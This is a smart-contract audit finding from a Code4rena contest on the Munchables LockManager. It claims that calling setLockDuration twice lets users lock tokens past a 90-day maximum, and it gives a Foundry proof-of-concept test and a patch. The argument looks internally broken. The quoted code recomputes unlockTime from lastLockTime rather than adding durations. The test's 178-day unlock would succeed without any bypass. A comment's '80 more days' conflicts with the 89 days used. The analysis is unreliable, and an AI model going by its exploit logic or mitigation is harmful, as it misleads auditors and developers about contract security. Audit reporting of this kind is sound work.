Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L311-L398 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L254-L269

Vulnerability details

Impact

Users can bypass the protocol max lock duration e.g. 90 days thereby locking deposit tokens for longer (e.g. 178 days) for more potential rewards.

Proof of Concept

Suppose the protocol caps lock durations to 90 days

User calls setLockDuration() passing in 89 days in seconds
The user then proceeds to lock 100 ethers/USDB/WETH
The user then goes back to execute setLockDuration() passing in 89 days again
Since the user already has a locked balance, the function then extends the user's lock duration to 178 days aka 89 + 89. Whereas, the protocol only budgeted for 90 days lock durations maximum for rewarding incentives.

for (uint256 i; i < configuredTokensLength; i++) {
            address tokenContract = configuredTokenContracts[i];
            if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
                // check they are not setting lock time before current unlocktime
                if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                } 

                uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                    .lastLockTime;
                lockedTokens[msg.sender][tokenContract].unlockTime =
                    lastLockTime +
                    uint32(_duration);
            }
        }

A vulnerable piece of code is above where the user's existing lock gets extended without first checking that the lock extension doesn't breach the maximum of 90 days set by the protocol

Paste the POC below in the SpeedRun.t.sol file and run the test with forge test --mt test_ByPassMaxLockDuration -vvv

function test_ByPassMaxLockDuration() public {
        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        lm.setLockDuration(89 days);
        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);
        // first set it to some time close to max lock e.g 89 days
        // NOTE: max lock is 90 days

        logPlayer("Player after lock");
        logLockedTokens("After First Lock");

        // now add 80 more days to the lock time breaching 90 days
        lm.setLockDuration(89 days);
        // lock duration is now 178 days

        uint256 unlockTime = block.timestamp + 178 days;
        console.log("Warping to", unlockTime);
        vm.warp(unlockTime);
        console.log("Warped to:", unlockTime);

        lm.unlock(address(0), lockAmount);

        logLockedTokens("After Unlock");

    }

Tools Used

Manual review

Recommended Mitigation Steps

Implement the change below in the setLockDuration function:

function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();

+        uint32 _lockDuration = playerSettings[msg.sender].lockDuration;

+        if (_lockDuration + uint32(_duration) > configStorage.getUint(StorageKey.MaxLockDuration)) {
+            revert("Attempted breach of max lock time");
+        }

        playerSettings[msg.sender].lockDuration = uint32(_duration);
        // update any existing lock
        uint256 configuredTokensLength = configuredTokenContracts.length;
        for (uint256 i; i < configuredTokensLength; i++) {
            address tokenContract = configuredTokenContracts[i];
            if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
                // check they are not setting lock time before current unlocktime
                if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                } 

                uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                    .lastLockTime;
                lockedTokens[msg.sender][tokenContract].unlockTime =
                    lastLockTime +
                    uint32(_duration);
            }
        }

        emit LockDuration(msg.sender, _duration);
    }

Assessed type

Context

code-423n4 / 2024-05-munchables-findings

Users can lock past the maximum locking duration #470